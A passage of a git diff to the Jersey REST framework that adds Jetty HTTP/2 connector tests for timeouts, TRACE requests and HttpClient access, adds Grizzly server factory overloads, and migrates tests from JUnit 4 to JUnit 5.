+ t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ final Response response = target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ assertTrue(response.readEntity(String.class).contains("end"));
+ }
+
+ @Test
+ public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ fail("This operation should trigger total timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+ int start = 150;
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("start", start)
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+ fail("This operation should trigger idle timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
new file mode 100644
index 00000000000..4bf0bdaad42
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+ /**
+ * Programmatic tracing root resource path.
+ */
+ public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+ /**
+ * Annotated class-based tracing root resource path.
+ */
+ public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+ @HttpMethod(TRACE.NAME)
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.RUNTIME)
+ public @interface TRACE {
+ public static final String NAME = "TRACE";
+ }
+
+ @Path(ROOT_PATH_ANNOTATED)
+ public static class TracingResource {
+
+ @TRACE
+ @Produces("text/plain")
+ public String trace(Request request) {
+ return stringify((ContainerRequest) request);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TracingResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+ resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() {
+
+ @Override
+ public Response apply(ContainerRequestContext request) {
+ if (request == null) {
+ return Response.noContent().build();
+ } else {
+ return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+ }
+ }
+ });
+
+ return config.registerResources(resourceBuilder.build());
+
+ }
+
+ private String[] expectedFragmentsProgrammatic = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+ };
+ private String[] expectedFragmentsAnnotated = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+ };
+
+ private WebTarget prepareTarget(String path) {
+ final WebTarget target = target();
+ target.register(LoggingFeature.class);
+ return target.path(path);
+ }
+
+ @Test
+ public void testProgrammaticApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsProgrammatic) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testAnnotatedApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsAnnotated) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testTraceWithEntity() throws Exception {
+ _testTraceWithEntity(false, false);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntity() throws Exception {
+ _testTraceWithEntity(true, false);
+ }
+
+ @Test
+ public void testTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(false, true);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(true, true);
+ }
+
+ private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+ try {
+ WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+ target = target.path(ROOT_PATH_ANNOTATED);
+
+ final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+ Response response;
+ if (!isAsync) {
+ response = target.request().method(TRACE.NAME, entity);
+ } else {
+ response = target.request().async().method(TRACE.NAME, entity).get();
+ }
+
+ fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+ } catch (Exception e) {
+ // OK
+ }
+ }
+
+ private Client getJettyClient() {
+ return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+ }
+
+
+ public static String stringify(ContainerRequest request) {
+ StringBuilder buffer = new StringBuilder();
+
+ printRequestLine(buffer, request);
+ printPrefixedHeaders(buffer, request.getHeaders());
+
+ if (request.hasEntity()) {
+ buffer.append(request.readEntity(String.class)).append("\n");
+ }
+
+ return buffer.toString();
+ }
+
+ private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+ buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+ }
+
+ private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) {
+ for (Map.Entry> e : headers.entrySet()) {
+ List val = e.getValue();
+ String header = e.getKey();
+
+ if (val.size() == 1) {
+ buffer.append(header).append(": ").append(val.get(0)).append("\n");
+ } else {
+ StringBuilder sb = new StringBuilder();
+ boolean add = false;
+ for (String s : val) {
+ if (add) {
+ sb.append(',');
+ }
+ add = true;
+ sb.append(s);
+ }
+ buffer.append(header).append(": ").append(sb.toString()).append("\n");
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 00000000000..29efcba9d61
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.ClientConfig;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+ /**
+ * Verifier of JERSEY-2424 fix.
+ */
+ @Test
+ public void testHttpClientInstanceAccess() {
+ final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+ final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
+ // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+ // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+ // connector provider's static getHttpClient method above.
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+ assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+ assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+ assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+ + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+ }
+
+ @Test
+ public void testGetProvidedClientInstance() {
+ final HttpClient httpClient = new HttpClient();
+ final ClientConfig clientConfig = new ClientConfig()
+ .connectorProvider(new JettyHttp2ConnectorProvider())
+ .register(new JettyHttp2ClientSupplier(httpClient));
+ final Client client = ClientBuilder.newClient(clientConfig);
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+ assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+ httpClient, is(hcOnTarget));
+ }
+}
\ No newline at end of file
diff --git a/connectors/java-connector/pom.xml b/connectors/jnh-connector/pom.xml
similarity index 65%
rename from connectors/java-connector/pom.xml
rename to connectors/jnh-connector/pom.xml
index c2f1ef073fd..450e166e219 100644
--- a/connectors/java-connector/pom.xml
+++ b/connectors/jnh-connector/pom.xml
@@ -1,7 +1,7 @@
@@ -60,13 +64,13 @@
- junit
- junit
+ org.junit.jupiter
+ junit-jupiter
test
org.hamcrest
- hamcrest-library
+ hamcrest
test
diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml
index b261c00f25d..0189bdbf991 100644
--- a/containers/glassfish/jersey-gf-ejb/pom.xml
+++ b/containers/glassfish/jersey-gf-ejb/pom.xml
@@ -1,7 +1,7 @@
org.glassfish.main.ejb
ejb-container
+ 6.0.0
provided
org.glassfish.main.common
container-common
+ 6.0.0
provided
org.glassfish.main.hk2
hk2-config
+ 6.0.0
+ provided
true
@@ -126,5 +131,4 @@
-
-
+
diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml
index 4bf9302e8b6..011e493c29c 100644
--- a/containers/glassfish/pom.xml
+++ b/containers/glassfish/pom.xml
@@ -1,7 +1,7 @@
true
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
index 616ea142498..33d3770b818 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -381,7 +381,7 @@ public ResourceConfig getConfiguration() {
@Override
public void reload() {
- reload(appHandler.getConfiguration());
+ reload(new ResourceConfig(appHandler.getConfiguration()));
}
@Override
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java
index 4eb458da4f1..28d03d49627 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java
@@ -191,6 +191,31 @@ public static HttpServer createHttpServer(final URI uri,
true);
}
+ /**
+ * Create new {@link HttpServer} instance.
+ *
+ * @param uri uri on which the {@link ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param config web application configuration.
+ * @param secure used for call {@link NetworkListener#setSecure(boolean)}.
+ * @param sslEngineConfigurator Ssl settings to be passed to {@link NetworkListener#setSSLEngineConfig}.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@code HttpServer}.
+ * @throws ProcessingException in case of any failure when creating a new {@code HttpServer} instance.
+ * @see GrizzlyHttpContainer
+ * @since 2.37
+ */
+ public static HttpServer createHttpServer(final URI uri,
+ final ResourceConfig config,
+ final boolean secure,
+ final SSLEngineConfigurator sslEngineConfigurator,
+ final Object parentContext,
+ final boolean start) {
+ return createHttpServer(uri, new GrizzlyHttpContainer(config, parentContext), secure, sslEngineConfigurator, start);
+ }
+
/**
* Create new {@link HttpServer} instance.
*
@@ -209,6 +234,27 @@ public static HttpServer createHttpServer(final URI uri,
return createHttpServer(uri, new GrizzlyHttpContainer(config, parentContext), false, null, true);
}
+ /**
+ * Create new {@link HttpServer} instance.
+ *
+ * @param uri uri on which the {@link ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param config web application configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@code HttpServer}.
+ * @throws ProcessingException in case of any failure when creating a new {@code HttpServer} instance.
+ * @see GrizzlyHttpContainer
+ * @since 2.37
+ */
+ public static HttpServer createHttpServer(final URI uri,
+ final ResourceConfig config,
+ final Object parentContext,
+ final boolean start) {
+ return createHttpServer(uri, new GrizzlyHttpContainer(config, parentContext), false, null, start);
+ }
+
/**
* Create new {@link HttpServer} instance.
*
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
index a3f911c61f5..f9cfac21631 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2018 Markus KARG. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -17,6 +17,7 @@
package org.glassfish.jersey.grizzly2.httpserver;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.core.Application;
import org.glassfish.grizzly.http.server.HttpServer;
@@ -33,18 +34,18 @@
public final class GrizzlyHttpServerProvider implements WebServerProvider {
@Override
- public final T createServer(final Class type, final Application application,
- final JerseySeBootstrapConfiguration configuration) {
- return GrizzlyHttpServer.class == type || WebServer.class == type
- ? type.cast(new GrizzlyHttpServer(application, configuration))
+ public T createServer(final Class type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration)
+ ? type.cast(new GrizzlyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
: null;
}
@Override
public T createServer(Class type, Class extends Application> applicationClass,
- JerseySeBootstrapConfiguration configuration) {
- return GrizzlyHttpServer.class == type || WebServer.class == type
- ? type.cast(new GrizzlyHttpServer(applicationClass, configuration))
+ SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration)
+ ? type.cast(new GrizzlyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
: null;
}
}
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
index a7310d048dd..1c75de1b3a6 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2018 Markus KARG. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -17,13 +17,12 @@
package org.glassfish.jersey.grizzly2.httpserver;
-import static java.lang.Boolean.FALSE;
import static java.lang.Boolean.TRUE;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.greaterThan;
import static org.hamcrest.Matchers.instanceOf;
-import static org.junit.Assert.assertThat;
import java.security.AccessController;
import java.security.NoSuchAlgorithmException;
@@ -31,6 +30,7 @@
import java.util.Set;
import java.util.concurrent.CompletionStage;
import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -45,12 +45,12 @@
import org.glassfish.grizzly.http.server.HttpServer;
import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
import org.glassfish.jersey.server.ServerProperties;
import org.glassfish.jersey.server.spi.Container;
import org.glassfish.jersey.server.spi.WebServer;
import org.glassfish.jersey.server.spi.WebServerProvider;
-import org.junit.Test;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
/**
* Unit tests for {@link GrizzlyHttpServerProvider}.
@@ -60,14 +60,16 @@
*/
public final class GrizzlyHttpServerProviderTest {
- @Test(timeout = 15000)
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
public void shouldProvideServer() throws InterruptedException, ExecutionException {
// given
final Resource resource = new Resource();
shouldProvideServer(ShouldProvideServerApplication.class, resource);
}
- @Test(timeout = 15000)
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
// given
final Resource resource = new Resource();
@@ -82,10 +84,9 @@ private void shouldProvideServer(final Object application, final Resource resour
final SeBootstrap.Configuration configuration = configuration(getPort());
// when
- final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration);
final WebServer webServer = Application.class.isInstance(application)
- ? webServerProvider.createServer(WebServer.class, (Application) application, jerseySeConfig)
- : webServerProvider.createServer(WebServer.class, (Class) application, jerseySeConfig);
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class) application, configuration);
final Object nativeHandle = webServer.unwrap(Object.class);
final CompletionStage> start = webServer.start();
final Object startResult = start.toCompletableFuture().get();
@@ -127,7 +128,7 @@ public final Set getSingletons() {
private static final int DEFAULT_PORT = 0;
- private static final int getPort() {
+ private static int getPort() {
final String value = AccessController
.doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
if (value != null) {
@@ -149,7 +150,8 @@ private static final int getPort() {
return DEFAULT_PORT;
}
- @Test(timeout = 15000)
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
public void shouldScanFreePort() {
// given
final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider();
@@ -157,8 +159,7 @@ public void shouldScanFreePort() {
final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT);
// when
- final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration);
- final WebServer webServer = webServerProvider.createServer(WebServer.class, application, jerseySeConfig);
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
// then
assertThat(webServer.port(), is(greaterThan(0)));
@@ -191,4 +192,4 @@ private SeBootstrap.Configuration configuration(int port) {
};
}
-}
+}
\ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java
index 695c9060b06..812b480048c 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java
@@ -1,5 +1,6 @@
/*
- * Copyright (c) 2021, 2022 Payara Foundation and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,15 +27,15 @@
import org.glassfish.jersey.grizzly2.httpserver.test.tools.ClientThread.ClientThreadSettings;
import org.glassfish.jersey.grizzly2.httpserver.test.tools.JdkHttpClientThread;
import org.glassfish.jersey.grizzly2.httpserver.test.tools.ServerManager;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.TestName;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.TestInfo;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
/**
@@ -57,10 +58,7 @@ public class GrizzlyHttpServerTest {
private AtomicInteger counter;
private ServerManager server;
- @Rule
- public TestName testName = new TestName();
-
- @BeforeClass
+ @BeforeAll
public static void printSettings() {
System.out.println("Client implementation: " + CLIENT_IMPLEMENTATION);
System.out.println("Count of clients: " + COUNT_OF_CLIENTS);
@@ -68,16 +66,16 @@ public static void printSettings() {
}
- @Before
+ @BeforeEach
public void init() {
this.counter = new AtomicInteger();
}
- @After
- public void cleanup() {
+ @AfterEach
+ public void cleanup(TestInfo testInfo) {
error = null;
- System.out.println(String.format("Server processed %s requests of test %s.", counter, testName.getMethodName()));
+ System.out.println(String.format("Server processed %s requests of test %s.", counter, testInfo.getDisplayName()));
if (server != null) {
server.close();
}
@@ -120,9 +118,11 @@ public void https() throws Throwable {
*
* @throws Throwable
*/
- @Test(expected = IllegalArgumentException.class)
- public void http2() throws Throwable {
- this.server = new ServerManager(false, true);
+ @Test
+ public void http2() {
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () ->
+ this.server = new ServerManager(false, true));
}
@@ -159,7 +159,7 @@ private void executeTest() throws Throwable {
if (error.get() != null) {
throw error.get();
}
- assertTrue("No requests processed.", counter.get() > 0);
+ assertTrue(counter.get() > 0, "No requests processed.");
}
@@ -177,7 +177,7 @@ private ClientThread createClient(final boolean secured, final boolean useHttp2,
final Class clazz = (Class) Class.forName(CLIENT_IMPLEMENTATION);
final Constructor constructor = clazz.getConstructor(ClientThreadSettings.class,
AtomicInteger.class, AtomicReference.class);
- assertNotNull("constructor for " + CLIENT_IMPLEMENTATION, constructor);
+ assertNotNull(constructor, "constructor for " + CLIENT_IMPLEMENTATION);
final ClientThreadSettings settings = new ClientThreadSettings(id, secured, useHttp2,
server.getApplicationServiceEndpoint());
return constructor.newInstance(settings, counter, error);
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java
index 8e9d5434a78..58ea74ab6c0 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JdkHttpClientThread.java
@@ -1,4 +1,5 @@
/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -27,7 +28,7 @@
import jakarta.ws.rs.core.MediaType;
-import static org.junit.Assert.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* JDK11+ has it's own {@link HttpClient} implementation supporting both HTTP 1.1 and HTTP/2.
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java
index dcf359f42aa..385c479e219 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JerseyHttpClientThread.java
@@ -1,4 +1,5 @@
/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -23,11 +24,11 @@
import jakarta.ws.rs.client.Client;
import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Invocation.Builder;
+import jakarta.ws.rs.client.Invocation;
import jakarta.ws.rs.client.WebTarget;
import jakarta.ws.rs.core.Response;
-import static org.junit.Assert.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* Jersey doesn't support HTTP/2 at this moment, but this class may be extended later.
@@ -50,7 +51,7 @@ public JerseyHttpClientThread(final ClientThreadSettings settings,
@Override
public void doGetAndCheckResponse() throws Throwable {
final WebTarget path = client.target(getSettings().targetUri.toString());
- final Builder builder = path.request();
+ final Invocation.Builder builder = path.request();
final Response response = builder.get();
